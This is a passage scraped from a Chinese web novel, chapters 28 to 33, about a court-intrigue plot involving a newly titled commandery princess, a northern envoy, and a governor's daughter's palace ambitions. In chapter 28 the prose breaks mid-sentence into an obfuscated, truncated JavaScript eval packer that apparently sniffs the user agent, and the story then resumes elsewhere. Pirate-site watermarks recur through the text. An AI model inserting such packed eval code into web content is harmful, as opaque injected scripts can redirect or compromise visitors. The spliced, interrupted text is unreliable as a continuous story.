的意思便是顺了佛家之意,让及笄礼延后。 现在办了,才合上吉日吉时。 时间短暂,一切匆匆,应该摆的排场,朱府上下没打半点折扣。 或者说有朱凤曦早前的及笄预演一回。万珍珠这一场及笄礼自然是顺顺利利。 赵济世不是头一回遇见万珍珠这一位浑江郡主。 万珍珠落魄时,当小丫鬟时,赵济世见证过。 万珍珠张扬了,成为尊位的郡主娘娘。赵济世一样见证过。 昨个赵济世还瞧过万珍珠的盛妆模样。可那会儿的盛妆,不过是浅浅妆容。 哪像如今,这会儿盛妆的万珍珠才是真正的珠围翠绕,华冠加身。 “甚美。”赵济世赞叹一回。 “大哥,这浑江郡主确实貌美。”马义附合一回。 马义从北镇老家赶来。卢泰山拿着义兄的财物回老家,一回去,便是按着义兄赵济世的吩咐安顿诸兄弟的亲眷家人。 不止如此,便是北镇的父老乡亲里,但凡困难的,能帮衬的也是帮衬了。 卢泰山办事,那全听义兄的。大哥赵济世说什么,他就做什么。 至于马义,马义就是提前出发,准备先到义兄赵济世身边。也算一番美意,接替了卢泰山这一个义弟的位置,就替义兄赵济世跑跑腿,办办事。 “我是说此场景,甚美,盛大。喧嚣热闹,高朋满座,尽是繁华,让人向往。”赵济世转移话题。 “大哥,世子信重,我们兄弟又是忠心耿耿。至于荣华富贵,世子有的,兄弟们早晚也能占一份光彩。”马义讲道。 “二弟,你此话有道理。”赵济世同意义弟的说法。 至于在心头的真正想法?赵济世眼下不想多理会。 赵济世觉得浑江郡主甚美,那苑尔一笑,如春风拂面,让他心动了。 可又如何呢?二人注意不会有交集。往后,大晋的归大晋,大赵的归大赵。 浑江郡主的前程在大晋,赵济世的前程在大赵。他二人就像是鱼与鸟,或潜于水渊,或飞翔天空。不同一处,各有因果。 28. 第28章 第28章 谁又不想人前显贵,万珍珠亦是一介普通凡人。她当然也喜欢人前显贵时的装逼。 迟来的及笄礼,隆重又盛大,万珍珠打心眼儿里就喜欢。 她回眸一望,尽是恭维。入眼之时,满目是笑容。 似乎身份一改变,万珍珠身边尽是好人。再无年幼时曾经听过的一言片语的龌蹉。 此时此刻的万珍珠成为众星捧月的主角。朱府的嫡出姑娘朱凤曦成为一个配角。 在节度使府上,还是头一回在众目睽睽之下当配角的朱凤曦颇不适应。 可再不适应,勉强一下,朱凤曦也还是适应了。 趁着万珍珠的及笄礼进行时,朱凤曦躲开了一小会子。 朱凤曦一躲开,杨嬷嬷亲自来寻她。杨嬷嬷跟朱凤曦禀了话,小声耳语道:“姑娘,好像抓着一点线索了。” “……”朱凤曦抿紧一下唇,她的神色一下子严肃起来。 “嬷嬷,说说。”朱凤曦简单的吐露几语。她的一双眼眸子里泛起点点寒意。 “当初跟夫人一起受伤的丫鬟诚儿,她不见了。”杨嬷嬷讲道。 丫鬟诚儿,谁? 朱凤曦对于这一个名字有一点点的印象,对于其人,容貌甚样?就是模糊两分。 朱凤曦记得当初母亲被人捅刀子,做为陪在母亲跟前的丫鬟,诚儿一样受伤。 只是杨夫人除了被捅刀子外,还中毒了。丫鬟诚儿又不同,不像是杨夫人被捅中要害。丫鬟诚儿受的伤不重,也没中毒。 当初的朱凤曦迁怒一回。她开囗撵了丫鬟诚儿去庄子上。 如此情况,杨夫人的心腹杨嬷嬷便一直差人暗戳戳的盯紧诚儿。不为旁的,只凭直觉,杨嬷嬷就觉得丫鬟诚儿可疑。 或者说,这有一点马后炮。其时吧,杨嬷嬷是觉得三姑娘的做法狠了一些,又没有一狠到底,偏又留下一点尾巴。 杨嬷嬷怕留后患,就禀明了杨夫人,准备把诚儿的老子娘和兄弟寻着错处后,再是一起撵去庄子上。 到时候诚儿的一家子人全被发落了,再是想揉搓成什么下场?凭了杨嬷嬷的一句吩咐就是。 杨嬷嬷是家下人,还是杨夫人的陪嫁。在杨夫人这等主母跟前,杨嬷嬷没有话语权。 可落了庄子上的家下人跟前,杨嬷嬷是体面人。做为体面人,有一点小小的权利,哪怕是被主母施舍的。 奈何杨嬷嬷偶尔啊,她也想拿捏着一点点的权利任性一下。 有权在手,把令来行。杨嬷嬷就是想拿捏一下。让自个心情舒坦一点,发泄嘛,只要发泄了,心头就会愉悦。 偏生就是这等暗戳戳等着,就等着诚儿的老子娘和兄弟落难时。 杨嬷嬷得到庄子上的新消息,诚儿出事了,她人失踪了。 “一个大活人好端端的生不见人,死不见尸。荒唐。”朱凤曦给出自己的看法。 “查,狠狠的查。”朱凤曦吩咐道。 “姑娘,已经查过了。”杨嬷嬷赶紧禀了最新的情况如何。 “目前查到的是永州地界一伙人贩子干的龌蹉事。”杨嬷嬷详细说了查出来的一切。 人贩子在运送小童幼女的途中,恰巧就碰上在庄子旁河边洗衣的丫鬟诚儿。 本着做一票是做,多做几票还是做。再则,丫鬟诚儿的容貌不俗,于是人贩子动了歪心思。 “既然查到诚儿被掳走。人,可是寻回来了?”朱凤曦问道。 “诚儿被人买走了。人未寻回。”杨嬷嬷忙回道。 “嬷嬷是怀疑买走诚儿的人?”朱凤曦一瞧杨嬷嬷的神情,她有了猜测的问道。 “姑娘,这也是一条线索。”杨嬷嬷回道。 “既然嬷嬷怀疑,那就继续查。”朱凤曦吩咐道。 “唯。”杨嬷嬷应下话。 “那丫鬟诚儿的老子娘和兄弟,姑娘,您看……”杨嬷嬷小心的寻问话,在尚未讲完时,朱凤曦就摆摆手,说道:“盯紧了便是,待寻回诚儿再安排。” 对于朱凤曦而言,这一条线索真不真?朱凤曦也不笃定。 只要是有可能,朱凤曦都会差人继续的查下去。 万珍珠的及笄礼进行中。待加冠结束后,庆贺的大宴召开。万珍珠露了脸,在女眷处举杯共饮。 对于这些永州地界上的名门贵妇与名门淑媛。 万珍珠以前不熟悉,往后熟悉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“赵大人,您呢,您又为何避开繁华与热闹。瞧着,您似乎也是躲了此处来?”万珍珠随口一问。 29、第29章 第29章 “我故意来此。”赵济世坦诚的回答了万珍珠的问话。 本来随口一问,哪料想对方诚实回答。万珍珠一时愣住。 “郡主惊讶?”赵济世笑问道。 “挺惊讶。”万珍珠伸出手,用食指轻轻的指一指自个。 “若非我知道赵大人乃光明君子,一心坦荡,我还会误会赵大人乃是被美色误事。行了偷香窃玉之举。”万珍珠捂嘴一笑。 “这话一讲倒显得我是自个夸耀了自个。好似我乃绝代佳人,误国妲己似的。”万珍珠觉得自己说错话。 可说错了,又有何妨。反正万珍珠如今的身份地位,她想要任性一点,就可以任性一点。 “……”赵济世瞧着活泼自然的万珍珠。如今的浑江郡主跟当初的万姑娘,那确实是不一样了。 “郡主貌美,身份高贵。我,高攀不起,岂敢生了觊觎之心。”赵济世摆低自己的姿态。 虽然嘴里这般说,可赵济世心头清楚。若是万内相非是大晋朝的宫廷内相。而是大赵朝的宫廷内相。 那么,赵济世就是跨千山万水,用尽万千法子,哪怕手段不干净不光彩,赵济世也一定会想法子迎娶了面前的浑江郡主。 可惜,浑江郡主虽美,让赵济世心动了。 落现实面前,赵济世还是铁石心肠。美人再美,心中欢喜又是如何? 在前程面前,姻缘二字必要退让一步。这一退,赵济世就知道他跟浑江郡主注定无缘了。 “此来,想赠郡主一份贺礼。贺郡主及笄之喜。”赵济世拿出来备好的礼物。 “赵大人来参加我的及笄礼,您已是送过礼。此时再赠礼物,太过了。”万珍珠可知道的,人来了,礼已到。 一再送礼,送双份礼,甭管贵重不贵重,这也太过于心诚了一些。 万珍珠想拒绝。赵济世讲道:“于我心中,郡主乃是好友。好友之间,一点心意,万望郡主不要推辞。” 话罢,赵济世递上一个小锦盒。 万珍珠见着赵济世的态度坚决,她不再拒绝。 待接过锦盒后,万珍珠便打开。入目之时,珠光宝气,金色耀眼。 “真美。”哪一个女孩子都会喜欢了珠宝。特别是漂亮的珠宝。万珍珠也不例外。 赵济世赠的礼物是一支凤凰步摇。金子为底,珠宝点缀。 “谢谢,我很喜欢。”万珍珠实诚的回道。 “……”赵济世笑了。 “郡主喜欢,我心甚慰。这一份礼,瞧着我是送对了人。”赵济世瞧着浑江郡主真是喜欢,一时心暖,暗里高兴。 此时此刻,礼收下了。万珍珠待赵济世的好感度又增加。 离着花园子尚有一些距离的廊下,朱四姑娘正往此处来。 “浑江郡主在花园子?”朱小蝶跟近前的一等大丫鬟月香问道。 “回姑娘,浑江郡主就在花园子里赏景。”月香赶紧回道。 朱小蝶想见一见浑江郡主。又或者说朱小蝶想给朱府里的嫡母和嫡姐上一上眼药。这不,她怕让人传话容易出茬子。 朱小蝶准备亲身上阵。她要亲自给浑江郡主曝光一回内幕。 对于朱小蝶而言,干这等事情,她还真不怕。 就是嘀咕几句,又不传入第三人耳中。这等事情只要不留了人证物证,朱小蝶干一点坏事的胆量嘛,她大大的有。 会如此?不过是因为朱小蝶对于自己的婚事不抱希望。她是朱府的庶出姑娘,亲事让嫡母拿了决断。 那一份姻缘与前程,若是好,朱小蝶一定记了嫡母的好。偏生嫡母安排的姻缘,父亲点头同意。可落朱小蝶的心里,就大大的不满意,不合了她的期许。 嫡姐的未来婆家,样样要拔尖。要家世好,要人品好,还要前程远大。 朱小蝶瞧着自个的未来婆家,家世平平,未来夫婿还是平庸之人,才不出众。光想一想,朱小蝶就产生了一种绝望感。 既然注定朱四姑娘的未来前程没期许了,她当然就是破罐子破摔。 特别是嫡母订下来这一桩姻缘,那借的名头还是朱小蝶的生母白小娘的名义。 朱小蝶能不恨吗?生母人没了,还被嫡母扣一记黑锅,朱小蝶恨的牙痒痒。 至于为何不拒绝了这等亲事。那是拒绝不得。 朱小蝶太清楚,她要替生母白小娘守孝三年。一年拖一年,哪还有什么好儿郎等她守孝结束后再挑了? 守孝,延迟了婚期就是一道坎,已经会拦着朱小蝶在姻缘一途上的好光景。 庶出,更是成为朱小蝶心头的一块疤。家门清贵的公子郎君又岂肯迎娶了庶女。 这会儿,一到花园子,远远的,朱小蝶瞧见万珍珠跟赵济世在说话。 “那人是谁?”朱小蝶使一个眼色给大丫鬟月香。 “姑娘,那郎君是齐王世子跟前的护卫武官。好像姓赵。”月香翻一翻记忆,忙是回话道。 “区区小武官,还跑到浑江郡主跟前献殷勤,真是好可笑。荒唐,这大晋郡主又哪能荫庇到大赵武官。”朱小蝶心头冷笑一回。 朱小蝶觉得赵武官是拜错庙门,拜错真佛。那上香嘛,还是上错了主家。 “……”大丫鬟月香沉默。 “罢了,等等。等浑江郡主跟前不忙碌了,我再去拜访一二。”朱小蝶不急着凑上前。 好饭不怕晚,朱小蝶想得到跟浑江郡主单独相谈的机会。 此时此刻,花园子里,在这等夏日的尾巴上。万珍珠瞧着园子,瞧见一派的花团锦簇。 “在下打扰郡主良久,就此,告辞。”赵济世拱手一礼。 “……”万珍珠浅浅一笑。对于赵济世这人,万珍珠心生好感。与其谈话时,心情颇爽利。 “对了,有一事还要告知一下郡主。”赵济世离开前,又讲一话,道:“一位叫诚儿的姑娘被世子收留。往后,那一位诚儿姑娘会去往燕京都生活。” “谢谢。”万珍珠再一次感激赵济世。 在万珍珠想刀了杨婉芯时,她有一些安排。 只是事情一旦搅和了,总会起来变化。这不,诚儿的遭遇就是如此。 本着收尾巴,那就揽到底。万珍珠没想着要了诚儿的性命。 能伸手时,万珍珠就想伸手了结一回。只不过万珍珠不想动用自己这一面的人手。她怕让节度使府上查到端倪。 非是高看朱府一头,也非是低看义兄宋三德的暗子一头。而是谨慎使然,万珍珠便请赵济世帮衬一回,给诚儿一条新出路。 如今事情了结。万珍珠又一次见证一回赵济世的热心肠,办好事。 如果可以,万珍珠真想多给赵济世颁发几张好人卡。她心想着,这人真好。 “赠与大人。”万珍珠从腰间解下一方玉佩。 这一方玉佩万珍珠很喜爱。她一得手,就立刻佩戴于腰间,以便赏玩。 即使如此,这会儿的万珍珠真心想把喜爱之物赠与赵济世。 她扬起笑脸,那是一记灿烂的笑容,说道:“无论如何,我欠大人的恩情,将来若有机会一定报答。此玉佩,为见证。” 这一方玉佩便是万珍珠给的信物。 “……”这一回,赵济世没有拒绝。他接过这一方玉佩。 “郡主赐予,不可拒绝。”赵济世收下玉佩后,他再拱手一礼,尔后,告辞离开。 赵济世刚一离开。朱小蝶就没了心情赏什么花园景致,她小步快走,挺着急的往浑江郡主跟前凑去。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30、第30章 第30章 镐京都,宫廷内苑。 此时的万忠良心头着急。哪怕如此,他表面还端着一派冷漠的神情。此时此刻,万忠良脚步匆匆的往王贤妃的寝宫行去。 王贤妃,洪福十五年诞下三皇子。皇子百日之时,晋位为正一品贤妃。 贤妃寝宫的大殿内,这会儿的气氛有一些紧张。 魏皇后坐于大殿的上首主位,王贤妃在下面站着。此时,王贤妃的神情略显局促不安。 “担搁什么,磨磨蹭蹭。”魏皇后似乎是一幅很不开心的样子。 魏皇后,大晋洪福帝的元后,她的生母乃是大晋朝的庆德长公主。由此,魏皇后与大晋宗室的关系颇为深厚。 目前,魏皇后膝下育有洪福帝的嫡长女,被洪福帝册封为沁阳公主。 这些年里,洪福帝的后宫一共生育有三位皇子,一位公主。其中,王贤妃膝下的三皇子是诸皇子公主里年岁最小的。 按排序,三皇子又算洪福帝实际的长子。至于原因?很简单,三皇子上面的二位兄长,皆已夭折。 为何夭折?朝廷没有大的议论,可私下嘛,非议颇多。流传最广的说法是大皇子生下来病歪歪,未满月,夭折掉。此乃天意。 倒是二皇子生下来时身体健康,可惜,福薄了一点。 二皇子生母是后宫的一位普通宫人。得帝王宠幸,一朝有喜。待二皇子诞下后,魏皇后按规矩抱养了二皇子。 尔后,二皇子夭折掉。 关于王贤妃能从美人晋位,连升几级,晋位贤妃,她凭的全是子嗣之功。对于王贤妃而言,三皇子这一个亲儿子比帝王的宠爱更重要。 帝王宠爱如浮萍,今朝有,更可能明天无。可皇嗣就不同。 特别是三皇子,这一位小殿下目前是洪福帝膝下唯一的儿子。这就很关键。 万一……哪怕只是万一的可能。三皇子可是有皇位继承权的。 此时,王贤妃面对着魏皇后给的压力,她还是不想低头认输,把亲儿子拱手相让。 “……”王贤妃一咬牙,她的目光落了殿门处的方向。 这会儿的王贤妃在心里暗恨,都差了人去请陛下。如何还没音信? “禀皇后娘娘,皇儿近几日不舒坦。不久前哄好,哄着睡下了。这一下子吵醒过来,他一小儿闹腾利害,怕扰着皇后娘娘的清静。”王贤妃解释一番话道。 “哼。”魏皇后一声冷哼。对于王贤妃的解释,魏皇后不信一个字眼。 “病了,闹腾?”魏皇后的目光落于王贤妃身上。 “你糊涂。这等大事如何不上报。”魏皇后给王贤妃扣帽子,讲道:“本宫乃皇子的嫡母,皇子安危,本宫自当关切。你瞒着,你在防谁?防本宫。” “即便防了本宫,也不应该拿皇子的安危做儿戏。王贤妃,你得知道,在本宫心里,你的份量哪及皇子贵重万一……”魏皇后怒骂一通,骂得王贤妃跪下了。 骂罢,魏皇后跟身边的女官吩咐道:“快,去请太医来。” “唯。”女官忙应话。 瞧着魏皇后一派主人翁的态度。王贤妃想开口,她还想解释一番。 可惜这会儿拿着借口的魏皇后不想给王贤妃开口的机会。魏皇后寻一个话头,不过借题发挥罢了。 就在魏皇后差人请太医,尚未请来时。万忠良领着小黄门到了。 “奴才参见皇后娘娘,娘娘千岁千岁千千岁。”万忠良给魏皇后见礼问安。 “免礼。”魏皇后瞧一眼万忠良,语气温和的讲一句。 “谢皇后娘娘恩典。”万忠良回过话,方才起身。 “禀皇后娘娘,奴才奉陛下旨意前来。”万忠良前来,当然不是白跑一趟。那真有事儿。 说明白一点,万忠良是来替王贤妃解围的,扫尾的。 关于王贤妃会不会被魏皇后磋磨,万忠良不在意。后宫的事宜,万忠良从来不会胡乱插手。 在万忠良这一位宫廷内相的心底,他的主子从来就一人,那便是洪福帝。至于旁人,哪怕是魏皇后。万忠良也是不远不近的态度。 王贤妃会如何,万忠良不在意。可王贤妃膝下的三皇子会如何,万忠良就很在意。 皇家,那是真有皇位等着继承。洪福帝膝下目前就三皇子一个继承人。 万忠良对于三皇子的关切,那可谓是方方面面。 在知道魏皇后起意,又想抱养皇子后。万忠良顾不得在宫外休养。他赶紧进宫一趟,先面圣,跟洪福帝吹了耳边风。 得到天子的允许,尔后,万忠良又是匆匆赶来王贤妃处。 为甚?为的就是三皇子的归属。 魏皇后养死了二皇子,有一不可再有二。 皇子是稀罕物,对于天家而言,皇子从来不嫌多。 特别是魏皇后有前科旧案,万忠良不信任。被吹了耳边风的洪福帝嘛,帝王也不信任。 “万公公有陛下旨意……”魏皇后的目光落在王贤妃身上,那是狠狠的盯一眼。 在魏皇后心里,这一定是被王贤妃告刁状了。 “陛下口谕。”万忠良对着泰和宫的方向行礼,尔后,念道。 此时,大殿之内,众人见礼。哪怕是魏皇后也要起身,恭听圣谕。 “朕甚爱三皇子,即日起,抱三皇子于泰和宫亲自抚养。钦哉。”万忠良高声念诵一遍洪福帝的口谕。 听得圣意,王贤妃却是心头松了一口气。她心想着,太好了,这是陛下抱了皇儿去泰和宫亲自教养。真幸运,不是被魏皇后抢走了亲儿子。 此刻,魏皇后的脸色很难看,那就像是乌云罩顶。 永州,朱府,花园里。 “郡主……”朱小蝶有一点尴尬。她偷偷的打了小报告,她以为会得到浑江郡主的重视。结果让她失望了。 “曾听过嫡庶之间,难得和睦……”万珍珠瞧一眼朱小蝶,又道:“果然不假。” 万珍珠在朱府挖坑了,她乐意当吃瓜众。可不代表了,万珍珠就很喜欢替人顶雷,去做了别人指尖拿捏的棋子。 朱小蝶手头有几把钥匙,她配吗?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 32、第 32 章 第32章 在朱府见到大赵朝的齐王世子不稀罕。可对于齐王世子纡尊降贵的登门拜访,于万珍珠而言就很稀罕。 “贵客临门,本应迎接。此,是我失礼了。”万珍珠见到李明弘后,福了一礼。 齐王世子李明弘拱手回一礼,笑道:“浑江郡主客气。” 李明弘是大赵朝的皇长孙,堂堂皇室子弟,龙子龙孙。 搁在世人眼中,万珍珠这一位“假郡主”,或者说有名无实的郡主,总差强人意一点。 哪怕被怠慢一些,也不会有人讲了李明弘不识礼数。 更可能的说法是万珍珠不配。谁让万珍珠的爹,万内相的根底洗不白,就是被仕人暗戳戳骂一骂的“太监”。 在皇室眼中,太监是什么?不过家奴罢了。 “贵客请。”万珍珠做一个请的手势。 “郡主请。”李明弘也挺客气。 这不是万珍珠头一回见了齐王世子。问万珍珠有何想法吗? 万珍珠没一点想法。 有穿书的记忆,万珍珠知道一点点的内幕,便是这一位齐王世子有天子命格。将来注定要做大赵朝的天子。 就是嘛,福太薄,寿太短。 不过大赵朝的事情跟万珍珠没干系。万珍珠可是要离开永州地界,启程前往了镐京都生活。 大赵朝,燕京都的风云会如何起伏?万珍珠这一位大晋朝的浑江郡主一点也不关心的。 “世子殿下,您请用茶。”万珍珠在朱府丫鬟呈上茶果点心后,客气举起面前的茶盏,浅浅一笑,先请一茶。 “……”李明弘举起茶盏,温雅一笑,算是致礼。 李明弘这人,让万珍珠瞧来,哪哪都挺好。 让挑毛病了,万珍珠一时半会儿的,真挑不出来。 此时屋中安静,二人皆在品茗。 待李明弘搁下茶盏后,讲道:“此来,向浑江郡主告辞。我等往镐京都一行颇有收获,还要感激了万内相的帮衬。” 李明弘会来拜访万珍珠,真不是万珍珠的脸面多大。 又或者说万珍珠多貌美,让李明弘一见倾心,一见钟情。 李明弘会拜访,纯粹是给万珍珠背后的亲爹万太监的体面。 李明弘人来了,也不是空手来。齐王世子殿下当然是备了辞行礼物的。 对于这等贵客,人来了,不求着办事,就是客客气气的说一点场面话。万珍珠就挺欢迎的。 当然了,对于齐王世子的辞行赠礼,万珍珠同样没拒绝,她大大方方的收下来。 礼多人不怪。前头举办了一场及笄礼,应该收的,不应该收的,万珍珠尽数收下。 如今这场面,万珍珠就更不会矫情了。 朱府内宅,梧桐院。 “我知了。”朱凤曦挥挥手,让禀话的丫鬟退下。 这会儿的朱凤曦沉默着,良久后,她跟身旁的一等大丫鬟白玉问道:“白玉,你说一说,齐王世子拜访浑江郡主,可是别有用意?” 白玉思索片刻,回道:“奴婢愚笨,奴婢不知。” 朱凤曦听着身边人的回答,她在沉默片刻后,讲道:“罢了,我就随口一问,也不是什么要紧事。” 可真的不要紧吗?朱凤曦太知道了,她自己这话有几分的言不由衷。 这不,当日,用夕食前,朱凤曦去一趟母亲的院子。 朱凤曦侍候了母亲用好晚饭。尔后,她挥退侍候的丫鬟仆妇。 朱凤曦想单独跟母亲说说话。此时此刻,她伏于母亲的身畔。 “娘……”朱凤曦轻轻唤一声。 杨夫人伸手抚一抚女儿的背。杨夫人不言不语,只是当了倾听之人,默默的听一听女儿的心事。 “女儿查到一些事情。”朱凤曦讲道:“您出事的那一日,与您一样受伤的丫鬟诚儿先被人掳走,又被人买走……” 话至此,朱凤曦停顿片刻。 本来替女儿抚背的杨夫人,这会儿手头的动作停顿下来。 朱凤曦感受到了母亲的异样情绪,她继续讲道:“买走丫鬟诚儿的主家已经让女儿查清楚,乃是齐王世子李明弘。” “怎会……如此?”杨婉芯不敢相信。 思来想去,杨婉芯都不觉得哪里会跟齐王世子起龌龊。 “可是……误解?”杨婉芯缓缓讲道。 “是不是误解,又是否巧合,女儿亦不知。”朱凤曦给不出答案。 “凤曦……”杨婉芯的一双眼眸子里全是复杂情绪,她问道:“你想……做甚?” 想做甚?朱凤曦也在拷问自己的本心。 如果是原来的朱凤曦,她肯定坦坦荡荡的问齐王世子一回,问清楚是否有误会? 可现在的朱凤曦心变了。遇着一些事情后,她的心,不安静。 “娘,四妹妹偷偷见过浑江郡主。”朱凤曦突然转移话题。 “四妹妹说过一些不中听的,浑江郡主差人透露了一二给女儿知晓。”朱凤曦提一话。 “糊涂。”杨婉芯气急。 这二字糊涂,杨夫人当然不是骂亲闺女朱凤曦,而是骂了庶女朱小蝶。 “娘,四妹妹糊涂不糊涂,哪有什么要紧的。不过是待四妹妹出嫁时,府里陪一幅嫁妆的小事。”朱凤曦语气冷漠。 “娘,女儿在意着,一个小小的浑江郡主便是让四妹妹给迷花了眼睛。功名利禄,荣华富贵,唉。”朱凤曦一声叹息。 “又岂止是四妹妹被繁华迷眼,娘,女儿好像也被迷了心思……”朱凤曦轻声的讲了自己的为难处。 向曾经侍候自己的小丫鬟低头,瞧着往昔的家生子成为高高在上的郡主娘娘。 问朱凤曦什么心情? 只能说百般滋味,自个品尝。更可谓是如人饮冻水,方晓寒凉。 “你提……世子,你想……”杨夫人话至止,又是沉默下来。 “娘,您误会了。”朱凤曦抬头,她的一双眸子里有期望,更俱有野心。 “齐王世子是龙子龙孙不假,那也是大赵朝的天家。女儿不会肖想。”朱凤曦没糊涂。 这一位朱三姑娘还记着母亲曾经说过的话,她的父亲是大晋朝节度使。她的母族是大晋朝的高门大户。 大赵朝的富贵荣华与朱氏杨氏二族,皆没有大的干系。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 33-40 第33章 “你要……做甚?”杨夫人问女儿,她的一双眼眸子里全是担忧。 “娘,我想进宫,女儿就想做人上人。”朱凤曦抬头,她吐露出自己的心声。 “浑江郡主的亲爹是天子心腹,娘,女儿很想搭上万太监的这一条线。”朱凤曦在知道四妹妹想勾搭了浑江郡主时,她突然就醒悟过来。 有些人脉不止自家四妹妹能用,她也可以。朱凤曦在明悟后,一时之间就觉得豁然开朗。 “……”杨夫人沉默下来。 “娘,您不同意?”朱凤曦见着久久沉默的母亲,她轻声问道。 “怕你……”杨夫人努力的吐露了自己的担忧,讲道:“后悔。” 杨夫人直到现在说话还是不利索。可想表达的意思,杨夫人还是表达明白。 求什么一生一世一双人,曾经的朱凤曦奢望。可如今吗? 想着一旦低头了,可能就是一辈子低头下去。 万一,这一辈子都要跪在浑江郡主那等人物的脚下,朱凤曦遭不住。 特别是主仆的地位颠倒过来。当初是万珍珠跪伏在朱四姑娘的脚下。如今呢? 朱四姑娘得伏低做小,哀哀求了曾经不带正眼多瞧一下的小丫鬟。 那一等灵魂上的煎熬,让朱凤曦午夜梦回里也难受的紧。 特别这一回查到丫鬟诚儿的买家是齐王世子。 朱凤曦不想开口问,又或者说不敢开口问。 朱凤曦已经不想听了,她不爱听的答案。 至于是否是想太多,想得复杂些?在地位相差不大时,那叫多思。 在地位相差很大时,说甚的?说多了,更可能是埋下祸端。 朱凤曦不想查下去,也不敢查下去。她怕,怕替府上寻了天大的麻烦。 可在心底,朱凤曦又暗恨。可能她自己也不知道自己在恨些什么。 朱凤曦忍不住的就想着母亲出事,齐王世子很可能掺合在里面。那么,如今的她不能复仇。 那就往上爬,爬到可以复仇的地位。 比大赵天家更尊贵的?数来数去,朱凤曦就想到了大晋天家。 至于是不是爱慕荣华富贵?自己给自己寻找理由。朱凤曦自己全承受了,她被繁华迷眼。 “女儿不后悔。”朱凤曦握紧母亲的手,她似乎在对母亲陈述心思。更似乎在说服自己。 此时此刻,杨夫人不好再劝。 当晚,杨夫人差人去请夫君。朱瑞回了一趟后宅正院。 从杨夫人出事后,朱瑞也挺忙碌。不止忙碌差遣上的事宜。朱瑞也在查了谁谋害嫡妻。 如今,朱瑞查着一些线索。 “瑞郎……”杨夫人见着夫君,她握了笔,在纸上落了墨字。 字迹很丑,也很潦草。就像丫丫学语的婴儿一般,那是一种新生的现象。 于杨夫人而言,她不过是手腕无力,这才写出来如此不堪入目的字迹。 可用笔到底比着用嘴讲好。两字慢慢吐话,就让杨夫人很郁闷的。 “夫人不赞同凤曦的心思?”朱瑞见着嫡妻写下的几字,他问道。 杨夫人轻轻摇头。她哪舍得女儿去攀附天家富贵。或者说天家富贵从来不是好攀附的。 一座大宅院里的妻妾之间还斗一个来来回回。更可能是你死我活。 嫡出与庶出的子女在家族资源面前,也是斗的不可开交。 哪怕是表面尊从规矩,可人心是长偏的,没有可能真的做到公平公正。 就说人的十根指头还有长有短,这世道里,在表面上一碗水端平的,那都是端水大师,功夫了得。 杨夫人又落笔,又写几字。 朱瑞瞧过一眼,又摇摇头,讲道:“婉芯,我倒觉得不如让凤曦试一试。我们为人父母的再是劝,又哪里扭得过孩子自己动了心思。” “强扭的瓜不甜。”朱瑞给了自己的答案。 朱瑞再宠女儿也是有限度的。在嫡女庶女之间,朱瑞更宠了嫡女朱凤曦。或者说这一份父爱为真。 可父爱之外,朱瑞还是会以朱氏一族的荣耀为重。 在朱瑞的心中,成全女儿朱凤曦的一点心思。这是你情我愿。女儿自愿进宫,没人逼迫,岂不是挺好嘛。 杨夫人不再落笔,她抬头,一双眼眸子直视着枕边人。 这会儿的杨夫人已经看明白,枕边人的心思与女儿的想法一样。他们父女一条心,都是一心奔着天家的荣华富贵去。 杨夫人轻轻点头,她不想再劝。或者说面对意志坚定的夫君,面对脾气倔强的女儿,杨夫人再清楚不过。 这一对父女拿定主意,那是九头牛也拉不回来。 还能够怎么办?当然是成全了。 夫妻二人谈过女儿朱凤曦的前程事宜。尔后,朱瑞谈起另外一件事情。 “我差人清洗一遍府邸,查出来一些人有问题。”朱瑞的眸光冷漠。 杨夫人又落笔写几字,朱瑞瞧后,轻轻摆手,说道:“不能着急,抓着几只小老鼠,挖不到老鼠的鼠巢,终究容易留了祸端。” 朱瑞治府,他以军法处理。如今不过是外松内紧,表面轻松一些。实则在阴暗处,朱瑞 安排了家族心腹在盯紧。 有些人已经挖到一些内幕,如此,朱瑞才会同意了女儿朱凤曦去攀附天家富贵。 因为那些挖出来的小老鼠背后,朱瑞隐隐约约的查到镐京都的人脉上去。 做为节度使,朱瑞自己心头得有数。掌军掌政,治理边疆。 朱瑞对于天家的可能针对与警惕,那是划了底线的。 如果可以的话,献了女儿进宫侍奉天子,若能打消掉天家的怀疑与猜忌,朱瑞是乐意的。 舍一个女儿换来前程无量,又或者让家族再上一个台阶。 朱瑞愿意,朱瑞舍得。女儿再亲近,总归要嫁人。那么嫁入皇宫,攀附皇权,此为一举多得。 朱府内宅,梧桐院。 朱凤曦从正院归来,她唤了丫鬟备热水沐浴。 耳房之内,热气腾腾,烟雾弥漫。朱凤曦沉浸在温水里,这似乎还不够。 朱凤曦一下子沉入水里,闭目,屏息。又过片刻,朱凤曦从水里冒出来。 “……”朱凤曦大口大口的喘着气。 明明屋内,烛光明亮。明明温水,恰到好处。可朱凤曦还是觉得有一点冷,冷在骨子里,冷在心底里。 “我错了吗?”朱凤曦无声呢喃,她在叩问自己的内心。 对于朱小蝶这一个庶出的妹妹,朱凤曦不远不近。或者说不是一个母亲的肚皮里爬出来,朱凤曦对于四妹妹心生隔阂。 在四妹妹向往荣华富贵时,朱凤曦蔑视。 可轮着她自己向往荣华富贵时,朱凤曦又颇为的难堪。 尴尬归尴尬,朱凤曦在想着另外一件事情。那便是讨好了浑江郡主,想法子跟万太监结盟。 对于宫廷内幕如何?朱凤曦不知道。 可上一辈子的朱凤曦看过宫斗剧,她知道为了利益,为了前程,为了家族,后宫的嫔妃们斗一个你死我活,那真的是无休无止。 毕竟赢家通吃,输了,就需要填上自己的小命。 “我没错。”朱凤曦给了自己的回答。 朱凤曦来自后世,哪怕对于四国争霸这一段历史不熟悉。 可朱凤曦看过电视剧,或者说看过这一段历史做背景的武侠剧。好歹有一点印象。 大晋洪福帝是一个短命鬼。未来的天子是谁?姓甚名谁? 朱凤曦真不知道。或者说她上一辈子压根儿没关注过。 可朱凤曦知道的是洪福帝废过皇后。废后,天大的事情。 这一辈子活了十五年,朱凤曦已经懂得废后的份量。那不止是废了皇后,还要摆平了代表皇后一系的力量。 